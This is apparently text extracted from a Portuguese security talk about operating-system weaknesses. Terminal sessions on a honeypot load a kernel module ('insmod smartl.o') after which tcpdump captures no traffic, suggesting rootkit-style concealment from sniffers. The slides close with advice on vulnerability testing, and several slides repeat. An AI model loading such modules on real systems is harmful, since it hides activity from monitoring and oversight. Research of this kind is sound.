tcpdump: listening on eth0
root@honeypot# ls
smartl.o smartc smartv smarts smarta.sh smartg
root@honeypot# cat teste-trafego.txt
root@honeypot#
```

“Problemas” inerentes do Sistema Operacional

- Um sniffer não captura todo tráfego de um barramento com HUB?

```
root@honeypot# insmod smartl.o
root@honeypot# tcpdump -nl udp > teste-trafego.txt&
tcpdump: listening on eth0
root@honeypot# ls
smartl.o smartc smartv smarts smarta.sh smartg
root@honeypot# cat teste-trafego.txt
root@honeypot#
```

```
root@Coletor# smartv -d eth0


root@honeypot# tcpdump -nl udp > teste-trafego.txt&
tcpdump: listening on eth0
root@honeypot# ls
smartl.o smartc smartv smarts smarta.sh smartg
root@honeypot# cat teste-trafego.txt
root@honeypot#
```

“Problemas” inerentes do Sistema Operacional

- Um sniffer não captura todo tráfego de um barramento com HUB?

```
root@honeypot# insmod smartl.o
root@honeypot# tcpdump -nl udp > teste-trafego.txt&
tcpdump: listening on eth0
root@honeypot# ls
smartl.o smartc smartv smarts smarta.sh smartg
root@honeypot# cat teste-trafego.txt
root@honeypot#
```

```
root@Coletor# smartv -d eth0

root@honeypot# tcpdump -nl udp > teste-trafego.txt&
tcpdump: listening on eth0
root@honeypot# ls
smartl.o smartc smartv smarts smarta.sh smartg
root@honeypot# cat teste-trafego.txt
root@honeypot#
```

“Problemas” inerentes do Sistema Operacional

- ... desta forma o software X impossibilita alguém copiar um documento que não possui permissão para isso ...
- ... o sistema protege os documentos de todos os usuários, inclusive do administrador, pois se ele desabilitar o software, os documentos ficam ilegíveis ...
- Como será que o software X bloqueia a cópia e a impressão de documentos?
- “O que será que acontece se ...”

Considerações Finais

- Sempre pensar que o impossível pode acontecer e tomar cuidado para não ficar cego com as coisas óbvias.
- Muitos problemas podem estar “dormentes” esperando estímulos externos para “acordarem”.
- Somente os testes de Engenharia de Software não são suficientes para detectar todas as vulnerabilidades.
- **Nunca** esquecer de: **“O que será que acontece se ...”**

Considerações Finais

- Sempre pensar que o impossível pode acontecer e tomar cuidado para não ficar cego com as coisas óbvias.
- Muitos problemas podem estar “dormentes” esperando estímulos externos para “acordarem”.
- Somente os testes de Engenharia de Software não são suficientes para detectar todas as vulnerabilidades.
- **Nunca** esquecer de: “**O que será que acontece se ...**”

Considerações Finais

- Sempre pensar que o impossível pode acontecer e tomar cuidado para não ficar cego com as coisas óbvias.
- Muitos problemas podem estar “dormentes” esperando estímulos externos para “acordarem”.
- Somente os testes de Engenharia de Software não são suficientes para detectar todas as vulnerabilidades.
- **Nunca** esquecer de: **“O que será que acontece se ...”**

Considerações Finais

- Sempre pensar que o impossível pode acontecer e tomar cuidado para não ficar cego com as coisas óbvias.
- Muitos problemas podem estar “dormentes” esperando estímulos externos para “acordarem”.
- Somente os testes de Engenharia de Software não são suficientes para detectar todas as vulnerabilidades.
- **Nunca** esquecer de: **“O que será que acontece se ...”**

Contatos

Luiz Gustavo C. Barbato
lgbarbato@cenpra.gov.br
lgbarbato@lac.inpe.br
Antonio Montes
antonio.montes@cenpra.gov.br